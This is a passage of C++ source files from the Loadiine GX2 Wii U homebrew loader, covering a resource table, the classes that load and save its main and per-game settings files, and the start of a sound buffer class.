keyPadFieldBlinker_png_size, NULL, 0}, {"keyPadOkButton.png", keyPadOkButton_png, keyPadOkButton_png_size, NULL, 0}, {"layoutSwitchButton.png", layoutSwitchButton_png, layoutSwitchButton_png_size, NULL, 0}, {"leftArrow.png", leftArrow_png, leftArrow_png_size, NULL, 0}, {"loaderSettingsIcon.png", loaderSettingsIcon_png, loaderSettingsIcon_png_size, NULL, 0}, {"loaderSettingsIconGlow.png", loaderSettingsIconGlow_png, loaderSettingsIconGlow_png_size, NULL, 0}, {"noCover.png", noCover_png, noCover_png_size, NULL, 0}, {"noGameIcon.png", noGameIcon_png, noGameIcon_png_size, NULL, 0}, {"player1_point.png", player1_point_png, player1_point_png_size, NULL, 0}, {"player2_point.png", player2_point_png, player2_point_png_size, NULL, 0}, {"player3_point.png", player3_point_png, player3_point_png_size, NULL, 0}, {"player4_point.png", player4_point_png, player4_point_png_size, NULL, 0}, {"progressWindow.png", progressWindow_png, progressWindow_png_size, NULL, 0}, {"quitButton.png", quitButton_png, quitButton_png_size, NULL, 0}, {"quitButtonSelected.png", quitButtonSelected_png, quitButtonSelected_png_size, NULL, 0}, {"rightArrow.png", rightArrow_png, rightArrow_png_size, NULL, 0}, {"screenSwitchSound.mp3", screenSwitchSound_mp3, screenSwitchSound_mp3_size, NULL, 0}, {"scrollbarButton.png", scrollbarButton_png, scrollbarButton_png_size, NULL, 0}, {"scrollbarLine.png", scrollbarLine_png, scrollbarLine_png_size, NULL, 0}, {"settingButton.png", settingButton_png, settingButton_png_size, NULL, 0}, {"settingsButton.png", settingsButton_png, settingsButton_png_size, NULL, 0}, {"settingsCategoryBg.png", settingsCategoryBg_png, settingsCategoryBg_png_size, NULL, 0}, {"settingsCategoryButton.png", settingsCategoryButton_png, settingsCategoryButton_png_size, NULL, 0}, {"settingSelectedButton.png", settingSelectedButton_png, settingSelectedButton_png_size, NULL, 0}, {"settingsTitle.png", settingsTitle_png, settingsTitle_png_size, NULL, 0}, {"settings_click_2.mp3", settings_click_2_mp3, settings_click_2_mp3_size, NULL, 0}, {"switchIconBase.png", switchIconBase_png, switchIconBase_png_size, NULL, 0}, {"switchIconBaseHighlighted.png", switchIconBaseHighlighted_png, switchIconBaseHighlighted_png_size, NULL, 0}, {"switchIconOff.png", switchIconOff_png, switchIconOff_png_size, NULL, 0}, {"switchIconOn.png", switchIconOn_png, switchIconOn_png_size, NULL, 0}, {NULL, NULL, 0, NULL, 0} }; #endif ================================================ FILE: src/settings/CSettings.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include #include #include #include "common/common.h" #include "CSettings.h" #include "SettingsEnums.h" #include "fs/CFile.hpp" #include "fs/fs_utils.h" #include "utils/StringTools.h" #include "language/gettext.h" #define VERSION_LINE "# Loadiine GX2 - Main settings file v" #define VALID_VERSION 1 CSettings *CSettings::settingsInstance = NULL; CSettings::CSettings() { bChanged = false; memset(&nullValue, 0, sizeof(nullValue)); nullValue.strValue = new std::string(); configPath = SD_PATH WIIU_PATH "/apps/loadiine_gx2"; this->SetDefault(); } CSettings::~CSettings() { for(u32 i = 0; i < settingsValues.size(); i++) { if(settingsValues[i].dataType == TypeString) delete settingsValues[i].strValue; } delete nullValue.strValue; } void CSettings::SetDefault() { for(u32 i = 0; i < settingsValues.size(); i++) { if(settingsValues[i].dataType == TypeString) delete settingsValues[i].strValue; } settingsNames.resize(MAX_VALUE); settingsValues.resize(MAX_VALUE); settingsNames[GameViewModeTv] = "GameViewModeTv"; settingsValues[GameViewModeTv].dataType = TypeU8; settingsValues[GameViewModeTv].ucValue = VIEW_ICON_CAROUSEL; settingsNames[GameViewModeDrc] = "GameViewModeDrc"; settingsValues[GameViewModeDrc].dataType = TypeU8; settingsValues[GameViewModeDrc].ucValue = VIEW_ICON_GRID; settingsNames[GameLaunchMethod] = "GameLaunchMethod"; settingsValues[GameLaunchMethod].dataType = TypeU8; settingsValues[GameLaunchMethod].ucValue = LOADIINE_MODE_MII_MAKER; settingsNames[GamePath] = "GamePath"; settingsValues[GamePath].dataType = TypeString; settingsValues[GamePath].strValue = new std::string(SD_PATH SD_GAMES_PATH); settingsNames[GameSavePath] = "GameSavePath"; settingsValues[GameSavePath].dataType = TypeString; settingsValues[GameSavePath].strValue = new std::string(SD_PATH SD_SAVES_PATH); settingsNames[GameLogServer] = "GameLogServer"; settingsValues[GameLogServer].dataType = TypeBool; settingsValues[GameLogServer].bValue = false; settingsNames[GameLogServerIp] = "GameLogServerIp"; settingsValues[GameLogServerIp].dataType = TypeString; settingsValues[GameLogServerIp].strValue = new std::string("0.0.0.0"); settingsNames[GameSaveMode] = "GameSaveMode"; settingsValues[GameSaveMode].dataType = TypeU8; settingsValues[GameSaveMode].ucValue = GAME_SAVES_SHARED; settingsNames[BgMusicPath] = "BgMusicPath"; settingsValues[BgMusicPath].dataType = TypeString; settingsValues[BgMusicPath].strValue = new std::string(); settingsNames[GameCover3DPath] = "GameCover3DPath"; settingsValues[GameCover3DPath].dataType = TypeString; settingsValues[GameCover3DPath].strValue = new std::string(SD_PATH WIIU_PATH "/apps/loadiine_gx2/covers3d"); settingsNames[ConsoleRegionCode] = "ConsoleRegionCode"; settingsValues[ConsoleRegionCode].dataType = TypeString; settingsValues[ConsoleRegionCode].strValue = new std::string("EN"); settingsNames[AppLanguage] = "AppLanguage"; settingsValues[AppLanguage].dataType = TypeString; settingsValues[AppLanguage].strValue = new std::string(); settingsNames[GameStartIndex] = "GameStartIndex"; settingsValues[GameStartIndex].dataType = TypeU16; settingsValues[GameStartIndex].uiValue = 0; settingsNames[PadconMode] = "PadconMode"; settingsValues[PadconMode].dataType = TypeU8; settingsValues[PadconMode].ucValue = SETTING_OFF; settingsNames[LaunchPyGecko] = "LaunchPyGecko"; settingsValues[LaunchPyGecko].dataType = TypeU8; settingsValues[LaunchPyGecko].ucValue = SETTING_OFF; settingsNames[HIDPadEnabled] = "HIDPadUse"; settingsValues[HIDPadEnabled].dataType = TypeU8; settingsValues[HIDPadEnabled].ucValue = SETTING_OFF; settingsNames[HIDPadRumble] = "HIDPadRumble"; settingsValues[HIDPadRumble].dataType = TypeU8; settingsValues[HIDPadRumble].ucValue = SETTING_ON; settingsNames[HIDPadNetwork] = "HIDPadNetwork"; settingsValues[HIDPadNetwork].dataType = TypeU8; settingsValues[HIDPadNetwork].ucValue = SETTING_ON; settingsNames[ShowGameSettings] = "ShowGameSettings"; settingsValues[ShowGameSettings].dataType = TypeU8; settingsValues[ShowGameSettings].ucValue = SETTING_ON; } bool CSettings::Load() { //! Reset default path variables to the right device SetDefault(); std::string filepath = configPath; filepath += "/loadiine_gx2.cfg"; CFile file(filepath, CFile::ReadOnly); if (!file.isOpen()) return false; std::string strBuffer; strBuffer.resize(file.size()); file.read((u8 *) &strBuffer[0], strBuffer.size()); file.close(); //! remove all windows crap signs size_t position; while(1) { position = strBuffer.find('\r'); if(position == std::string::npos) break; strBuffer.erase(position, 1); } std::vector lines = stringSplit(strBuffer, "\n"); if(lines.empty() || !ValidVersion(lines[0])) return false; for(u32 i = 0; i < lines.size(); ++i) { std::vector valueSplit = stringSplit(lines[i], "="); if(valueSplit.size() != 2) continue; while((valueSplit[0].size() > 0) && valueSplit[0][0] == ' ') valueSplit[0].erase(0, 1); while((valueSplit[1].size() > 0) && valueSplit[1][ valueSplit[1].size() - 1 ] == ' ') valueSplit[1].resize(valueSplit[1].size() - 1); for(u32 n = 0; n < settingsNames.size(); n++) { if(!settingsNames[n]) continue; if(valueSplit[0] == settingsNames[n]) { switch(settingsValues[n].dataType) { case TypeBool: settingsValues[n].bValue = atoi(valueSplit[1].c_str()); break; case TypeS8: settingsValues[n].cValue = atoi(valueSplit[1].c_str()); break; case TypeU8: settingsValues[n].ucValue = atoi(valueSplit[1].c_str()); break; case TypeS16: settingsValues[n].sValue = atoi(valueSplit[1].c_str()); break; case TypeU16: settingsValues[n].usValue = atoi(valueSplit[1].c_str()); break; case TypeS32: settingsValues[n].iValue = atoi(valueSplit[1].c_str()); break; case TypeU32: settingsValues[n].uiValue = strtoul(valueSplit[1].c_str(), 0, 10); break; case TypeF32: settingsValues[n].fValue = atof(valueSplit[1].c_str()); break; case TypeString: if(settingsValues[n].strValue == NULL) settingsValues[n].strValue = new std::string(); *settingsValues[n].strValue = valueSplit[1]; break; default: break; } } } } return true; } bool CSettings::ValidVersion(const std::string & versionString) { int version = 0; if(versionString.find(VERSION_LINE) != 0) return false; version = atoi(versionString.c_str() + strlen(VERSION_LINE)); return version == VALID_VERSION; } bool CSettings::Reset() { this->SetDefault(); bChanged = true; if (this->Save()) return true; return false; } bool CSettings::Save() { if(!bChanged) return true; CreateSubfolder(configPath.c_str()); std::string filepath = configPath; filepath += "/loadiine_gx2.cfg"; CFile file(filepath, CFile::WriteOnly); if (!file.isOpen()) return false; file.fwrite("%s%i\n", VERSION_LINE, VALID_VERSION); for(u32 i = 0; i < settingsValues.size(); i++) { switch(settingsValues[i].dataType) { case TypeBool: file.fwrite("%s=%i\n", settingsNames[i], settingsValues[i].bValue); break; case TypeS8: file.fwrite("%s=%i\n", settingsNames[i], settingsValues[i].cValue); break; case TypeU8: file.fwrite("%s=%i\n", settingsNames[i], settingsValues[i].ucValue); break; case TypeS16: file.fwrite("%s=%i\n", settingsNames[i], settingsValues[i].sValue); break; case TypeU16: file.fwrite("%s=%i\n", settingsNames[i], settingsValues[i].usValue); break; case TypeS32: file.fwrite("%s=%i\n", settingsNames[i], settingsValues[i].iValue); break; case TypeU32: file.fwrite("%s=%u\n", settingsNames[i], settingsValues[i].uiValue); break; case TypeF32: file.fwrite("%s=%f\n", settingsNames[i], settingsValues[i].fValue); break; case TypeString: if(settingsValues[i].strValue != NULL) file.fwrite("%s=%s\n", settingsNames[i], settingsValues[i].strValue->c_str()); break; default: break; } } file.close(); bChanged = false; return true; } ================================================ FILE: src/settings/CSettings.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef _CSETTINGS_H_ #define _CSETTINGS_H_ #include #include #include #include #include "SettingsEnums.h" class CSettings { public: static CSettings *instance() { if(!settingsInstance) settingsInstance = new CSettings(); return settingsInstance; } static void destroyInstance() { if(settingsInstance){ delete settingsInstance; settingsInstance = NULL; } } //!Set Default Settings void SetDefault(); //!Load Settings bool Load(); //!Save Settings bool Save(); //!Reset Settings bool Reset(); enum DataTypes { TypeNone, TypeBool, TypeS8, TypeU8, TypeS16, TypeU16, TypeS32, TypeU32, TypeF32, TypeString }; enum SettingsIdx { INVALID = -1, GameViewModeTv, GameViewModeDrc, GameLaunchMethod, GamePath, GameSavePath, GameLogServer, GameLogServerIp, GameSaveMode, BgMusicPath, GameCover3DPath, ConsoleRegionCode, AppLanguage, GameStartIndex, PadconMode, LaunchPyGecko, HIDPadEnabled, HIDPadRumble, HIDPadNetwork, ShowGameSettings, MAX_VALUE }; static const u8 & getDataType(int idx) { if(idx > INVALID && idx < MAX_VALUE) return instance()->settingsValues[idx].dataType; return instance()->nullValue.dataType; } static const bool & getValueAsBool(int idx) { if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeBool) return instance()->settingsValues[idx].bValue; return instance()->nullValue.bValue; } static const s8 & getValueAsS8(int idx) { if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeS8) return instance()->settingsValues[idx].cValue; return instance()->nullValue.cValue; } static const u8 & getValueAsU8(int idx) { if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeU8) return instance()->settingsValues[idx].ucValue; return instance()->nullValue.ucValue; } static const s16 & getValueAsS16(int idx) { if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeS16) return instance()->settingsValues[idx].sValue; return instance()->nullValue.sValue; } static const u16 & getValueAsU16(int idx) { if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeU16) return instance()->settingsValues[idx].usValue; return instance()->nullValue.usValue; } static const s32 & getValueAsS32(int idx) { if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeS32) return instance()->settingsValues[idx].iValue; return instance()->nullValue.iValue; } static const u32 & getValueAsU32(int idx) { if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeU32) return instance()->settingsValues[idx].uiValue; return instance()->nullValue.uiValue; } static const f32 & getValueAsF32(int idx) { if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeF32) return instance()->settingsValues[idx].fValue; return instance()->nullValue.fValue; } static const std::string & getValueAsString(int idx) { if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeString && instance()->settingsValues[idx].strValue) return *(instance()->settingsValues[idx].strValue); return *(instance()->nullValue.strValue); } static void setValueAsBool(int idx, const bool & val) { if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeBool) { instance()->settingsValues[idx].bValue = val; instance()->bChanged = true; } } static void setValueAsS8(int idx, const s8 & val) { if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeS8) { instance()->settingsValues[idx].cValue = val; instance()->bChanged = true; } } static void setValueAsU8(int idx, const u8 & val) { if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeU8) { instance()->settingsValues[idx].ucValue = val; instance()->bChanged = true; } } static void setValueAsS16(int idx, const s16 & val) { if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeS16) { instance()->settingsValues[idx].sValue = val; instance()->bChanged = true; } } static void setValueAsU16(int idx, const u16 & val) { if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeU16) { instance()->settingsValues[idx].usValue = val; instance()->bChanged = true; } } static void setValueAsS32(int idx, const s32 & val) { if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeS32) { instance()->settingsValues[idx].iValue = val; instance()->bChanged = true; } } static void setValueAsU32(int idx, const u32 & val) { if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeU32) { instance()->settingsValues[idx].uiValue = val; instance()->bChanged = true; } } static void setValueAsF32(int idx, const f32 & val) { if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeF32) { instance()->settingsValues[idx].fValue = val; instance()->bChanged = true; } } static void setValueAsString(int idx, const std::string & val) { if(idx > INVALID && idx < MAX_VALUE && instance()->settingsValues[idx].dataType == TypeString && instance()->settingsValues[idx].strValue) { *(instance()->settingsValues[idx].strValue) = val; instance()->bChanged = true; } } protected: //!Constructor CSettings(); //!Destructor ~CSettings(); bool ValidVersion(const std::string & versionString); static CSettings *settingsInstance; typedef struct { u8 dataType; union { bool bValue; s8 cValue; u8 ucValue; s16 sValue; u16 usValue; s32 iValue; u32 uiValue; f32 fValue; std::string *strValue; }; } SettingValue; SettingValue nullValue; std::string configPath; std::vector settingsValues; std::vector settingsNames; bool bChanged; }; #endif ================================================ FILE: src/settings/CSettingsGame.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include #include #include #include "common/common.h" #include "CSettingsGame.h" #include "SettingsEnums.h" #include "fs/CFile.hpp" #include "fs/fs_utils.h" #include "utils/StringTools.h" #include "utils/logger.h" #define VERSION_LINE "# Loadiine GX2 - Game settings file v" #define VALID_VERSION 1 CSettingsGame *CSettingsGame::instance = NULL; CSettingsGame::CSettingsGame() { InitSettingsNames(); this->configPath = SD_PATH WIIU_PATH "/apps/loadiine_gx2"; this->filename = "loadiine_gx2_games.cfg"; Load(); PrintLoadedGames(); } CSettingsGame::~CSettingsGame() { /* for(u32 i = 0; i < settingsGames.size(); i++){ for(u32 j = 0; j < settingsGames[i].settingsValues.size(); j++){ if(settingsGames[i].settingsValues.at(j).dataType == TypeString) delete settingsGames[i].settingsValues.at(j).strValue; } }*/ } bool CSettingsGame::ValidVersion(const std::string & versionString) { int version = 0; if(versionString.find(VERSION_LINE) != 0) return false; version = atoi(versionString.c_str() + strlen(VERSION_LINE)); return version == VALID_VERSION; } void CSettingsGame::PrintLoadedGames(){ log_print("Loaded Games\n"); std::map::iterator itr; for(itr = settingsGames.begin(); itr != settingsGames.end(); itr++) { GameSettings set = itr->second; log_printf("%s=%s;%s=%s;%s=%d;%s=%d,%s=%d\n","ID6", itr->first.c_str(), settingsNames[UpdateFolder],set.updateFolder.c_str(), settingsNames[ExtraSaveFile],set.extraSave, settingsNames[SaveMethod],set.save_method, settingsNames[LaunchMethod],set.launch_method); } log_print("End Loaded Games\n"); } bool CSettingsGame::Load() { std::string filepath = configPath; filepath += "/" +this->filename; CFile file(filepath, CFile::ReadOnly); if (!file.isOpen()) return false; std::string strBuffer; strBuffer.resize(file.size()); file.read((u8 *) &strBuffer[0], strBuffer.size()); file.close(); //! remove all windows crap signs size_t position; while(1) { position = strBuffer.find('\r'); if(position == std::string::npos) break; strBuffer.erase(position, 1); } std::vector lines_ = stringSplit(strBuffer, "\n"); if(lines_.empty() || !ValidVersion(lines_[0])) return false; for(u32 j = 1; j < lines_.size(); ++j){ std::vector lines = stringSplit(lines_[j], ";"); if(lines.empty()) return false; std::string ID6 = lines[0]; std::vector newValues = getSettingValuesFromGameSettings(std::string(COMMON_UPDATE_PATH), false, GAME_SAVES_DEFAULT, LOADIINE_MODE_DEFAULT, SETTING_OFF); for(u32 i = 1; i < lines.size(); ++i) { std::vector valueSplit = stringSplit(lines[i], "="); if(valueSplit.size() != 2) continue; while((valueSplit[0].size() > 0) && valueSplit[0][0] == ' ') valueSplit[0].erase(0, 1); while((valueSplit[1].size() > 0) && valueSplit[1][ valueSplit[1].size() - 1 ] == ' ') valueSplit[1].resize(valueSplit[1].size() - 1); for(u32 n = 0; n < settingsNames.size(); n++) { if(!settingsNames[n]) continue; if(valueSplit[0] == settingsNames[n]) { switch(newValues.at(n).dataType) { case TypeBool: newValues.at(n).bValue = atoi(valueSplit[1].c_str()); break; case TypeS8: newValues.at(n).cValue = atoi(valueSplit[1].c_str()); break; case TypeU8: newValues.at(n).ucValue = atoi(valueSplit[1].c_str()); break; case TypeS16: newValues.at(n).sValue = atoi(valueSplit[1].c_str()); break; case TypeU16: newValues.at(n).usValue = atoi(valueSplit[1].c_str()); break; case TypeS32: newValues.at(n).iValue = atoi(valueSplit[1].c_str()); break; case TypeU32: newValues.at(n).uiValue = strtoul(valueSplit[1].c_str(), 0, 10); break; case TypeF32: newValues.at(n).fValue = atof(valueSplit[1].c_str()); break; case TypeString: if(newValues.at(n).strValue == NULL) newValues.at(n).strValue = new std::string(); *newValues.at(n).strValue = valueSplit[1]; break; default: break; } } } } GameSettings * set = GetGameSettingsBySettingGameValue(ID6,newValues); //Clean pointer for(u32 j = 0; j < newValues.size(); j++){ if(newValues.at(j).dataType == TypeString) delete newValues.at(j).strValue; } settingsGames[ID6] = *set; delete set; } return true; } bool CSettingsGame::LoadGameSettings(std::string ID6, GameSettings & result){ //log_printf("LoadGameSettings for ID6: %s\n",ID6.c_str()); std::map::iterator itr; itr = settingsGames.find(ID6); if(itr != settingsGames.end()){// existiert result = itr->second; return true; } else { result.ID6 = ID6; result.extraSave = false; result.launch_method = LOADIINE_MODE_DEFAULT; result.save_method = GAME_SAVES_DEFAULT; result.updateFolder = COMMON_UPDATE_PATH; result.EnableDLC = SETTING_OFF; return false; } } bool CSettingsGame::SaveGameSettings(const GameSettings & gSetttings) { settingsGames[gSetttings.ID6] = gSetttings; bChanged = true; return Save(); } bool CSettingsGame::Save() { if(!bChanged) return true; CreateSubfolder(configPath.c_str()); std::string filepath = configPath; filepath += "/" + this->filename; CFile file(filepath, CFile::WriteOnly); if (!file.isOpen()) return false; std::string strBuffer; strBuffer += strfmt("%s%i\n", VERSION_LINE, VALID_VERSION); std::map::iterator itr; for(itr = settingsGames.begin(); itr != settingsGames.end(); itr++) { GameSettings game_settings = itr->second; std::vector setvalues = getSettingValuesFromGameSettings(game_settings); CSettingsGame::SettingValue value; strBuffer += strfmt("%s;", itr->first.c_str()); for(u32 j = 0; j < MAX_VALUE; j++){ value = setvalues.at(j); switch(value.dataType){ case TypeBool: strBuffer += strfmt("%s=%i", settingsNames[j], value.bValue); break; case TypeS8: strBuffer += strfmt("%s=%i", settingsNames[j], value.cValue); break; case TypeU8: strBuffer += strfmt("%s=%i", settingsNames[j], value.ucValue); break; case TypeS16: strBuffer += strfmt("%s=%i", settingsNames[j], value.sValue); break; case TypeU16: strBuffer += strfmt("%s=%i", settingsNames[j], value.usValue); break; case TypeS32: strBuffer += strfmt("%s=%i", settingsNames[j], value.iValue); break; case TypeU32: strBuffer += strfmt("%s=%u", settingsNames[j], value.uiValue); break; case TypeF32: strBuffer += strfmt("%s=%f", settingsNames[j], value.fValue); break; case TypeString: if(value.strValue != NULL) strBuffer += strfmt("%s=%s", settingsNames[j], value.strValue->c_str()); break; default: break; } strBuffer += strfmt(";"); } strBuffer += strfmt("\n"); //Clean pointer for(u32 j = 0; j < setvalues.size(); j++){ if(setvalues.at(j).dataType == TypeString) delete setvalues.at(j).strValue; } } file.write((u8*)strBuffer.c_str(), strBuffer.size()); file.close(); bChanged = false; return true; } std::vector CSettingsGame::getSettingValuesFromGameSettings(GameSettings gameSettings){ return getSettingValuesFromGameSettings(gameSettings.updateFolder,gameSettings.extraSave,gameSettings.save_method,gameSettings.launch_method,gameSettings.EnableDLC); } std::vector CSettingsGame::getSettingValuesFromGameSettings(std::string updateFolder,bool extraSave,u8 save_method,u8 launch_method, u8 enableDlc){ std::vector result; result = std::vector(); result.resize(MAX_VALUE); result.at(UpdateFolder).dataType = TypeString; result.at(UpdateFolder).strValue = new std::string(updateFolder); result.at(ExtraSaveFile).dataType = TypeBool; result.at(ExtraSaveFile).bValue = extraSave; result.at(SaveMethod).dataType = TypeU8; result.at(SaveMethod).ucValue = save_method; result.at(LaunchMethod).dataType = TypeU8; result.at(LaunchMethod).ucValue = launch_method; result.at(EnableDLC).dataType = TypeU8; result.at(EnableDLC).ucValue = enableDlc; return result; } GameSettings * CSettingsGame::GetGameSettingsBySettingGameValue(std::string ID6,std::vector settings){ GameSettings * set = new GameSettings; set->ID6 = ID6; set->updateFolder = *(settings.at(UpdateFolder).strValue); set->extraSave = settings.at(ExtraSaveFile).bValue; set->save_method = settings.at(SaveMethod).ucValue; set->launch_method = settings.at(LaunchMethod).ucValue; set->EnableDLC = settings.at(EnableDLC).ucValue; return set; } ================================================ FILE: src/settings/CSettingsGame.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef _CSettingsGame_H_ #define _CSettingsGame_H_ #include #include #include #include #include #include "SettingsGameDefs.h" #include "utils/logger.h" #include "SettingsEnums.h" class CSettingsGame { public: static CSettingsGame *getInstance() { if(!instance) instance = new CSettingsGame(); return instance; } static void destroyInstance() { if(instance){ delete instance; instance = NULL; } } enum SettingsGameIdx { INVALID = -1, UpdateFolder, ExtraSaveFile, SaveMethod, LaunchMethod, EnableDLC, MAX_VALUE }; enum DataTypes { TypeNone, TypeBool, TypeS8, TypeU8, TypeS16, TypeU16, TypeS32, TypeU32, TypeF32, TypeString }; bool SaveGameSettings(const GameSettings & gSetttings); bool LoadGameSettings(std::string ID6, GameSettings & result); private: //!Constructor CSettingsGame(); //!Destructor ~CSettingsGame(); void InitSettingsNames(void){ settingsNames.resize(MAX_VALUE); settingsNames[UpdateFolder] = "UpdateFolder"; settingsNames[ExtraSaveFile] = "ExtraSaveFile"; settingsNames[SaveMethod] = "SaveMethod"; settingsNames[LaunchMethod] = "LaunchMethod"; settingsNames[EnableDLC] = "EnableDLC"; } typedef struct { u8 dataType; union { bool bValue; s8 cValue; u8 ucValue; s16 sValue; u16 usValue; s32 iValue; u32 uiValue; f32 fValue; std::string *strValue; }; } SettingValue; std::vector settingsNames; bool ValidVersion(const std::string & versionString); std::map settingsGames; static CSettingsGame *instance; std::string configPath; std::string filename; bool bChanged = false; bool Save(); bool Load(); void PrintLoadedGames(); GameSettings * GetGameSettingsBySettingGameValue(std::string ID6,std::vector settings); std::vector getSettingValuesFromGameSettings(GameSettings gameSettings); std::vector getSettingValuesFromGameSettings(std::string updateFolder,bool extraSave,u8 save_method,u8 launch_method,u8 enableDlc); }; #endif ================================================ FILE: src/settings/SettingsDefs.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef __SETTINGS_DEFS_ #define __SETTINGS_DEFS_ enum SettingTypes { TypeDisplayOnly, Type2Buttons, Type3Buttons, Type4Buttons, TypeIP, TypeList, }; typedef struct { int value; const char *name; } ValueString; typedef struct { const char *name; const ValueString *valueStrings; int type; int index; } SettingType; #endif // __SETTINGS_DEFS_ ================================================ FILE: src/settings/SettingsEnums.h ================================================ #ifndef SETTINGS_ENUMS_H_ #define SETTINGS_ENUMS_H_ enum eGameViewModes { VIEW_ICON_CAROUSEL, VIEW_ICON_GRID, VIEW_COVER_CAROUSEL }; enum eGameSaveModes { GAME_SAVES_SHARED, GAME_SAVES_UNIQUE, GAME_SAVES_DEFAULT = 255 }; enum eOnOff { SETTING_OFF, SETTING_ON }; #endif // SETTINGS_ENUMS_H_ ================================================ FILE: src/settings/SettingsGameDefs.h ================================================ /**************************************************************************** * Copyright (C) 2016 Maschell * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef __SETTINGSGAME_DEFS_ #define __SETTINGSGAME_DEFS_ typedef struct { std::string ID6; std::string updateFolder; bool extraSave; u8 save_method; u8 launch_method; u8 EnableDLC; } GameSettings; #endif // __SETTINGSGAME_DEFS_ ================================================ FILE: src/sounds/BufferCircle.cpp ================================================ /*************************************************************************** * Copyright (C) 2010 * by Dimok * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any * damages arising from the use of this software. * * Permission is granted to anyone to use this software for any * purpose, including commercial applications, and to alter it and * redistribute it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you * must not claim that you wrote the original software. If you use * this software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and * must not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. * * for WiiXplorer 2010 ***************************************************************************/ #include #include "utils/utils.h" #include "BufferCircle.hpp" BufferCircle::BufferCircle() { which = 0; BufferBlockSize = 0; } BufferCircle::~BufferCircle() { FreeBuffer(); SoundBuffer.clear(); BufferSize.clear(); BufferReady.clear(); } void BufferCircle::SetBufferBlockSize(s32 size) { if(size < 0) return; BufferBlockSize = size; for(s32 i = 0; i < Size(); i++) { if(SoundBuffer[i] != NULL) free(SoundBuffer[i]); SoundBuffer[i] = (u8 *) memalign(32, ALIGN32(BufferBlockSize)); BufferSize[i] = 0; BufferReady[i] = false; } } void BufferCircle::Resize(s32 size) { while(size < Size()) RemoveBuffer(Size()-1); s32 oldSize = Size(); SoundBuffer.resize(size); BufferSize.resize(size); BufferReady.resize(size); for(s32 i = oldSize; i < Size(); i++) { if(BufferBlockSize > 0) SoundBuffer[i] = (u8 *) memalign(32, ALIGN32(BufferBlockSize)); else SoundBuffer[i] = NULL; BufferSize[i] = 0; BufferReady[i] = false; } } void BufferCircle::RemoveBuffer(s32 pos) { if(!Valid(pos)) return; if(SoundBuffer[pos] != NULL) free(SoundBuffer[pos]); SoundBuffer.erase(SoundBuffer.begin()+pos); BufferSize.erase(BufferSize.begin()+pos); 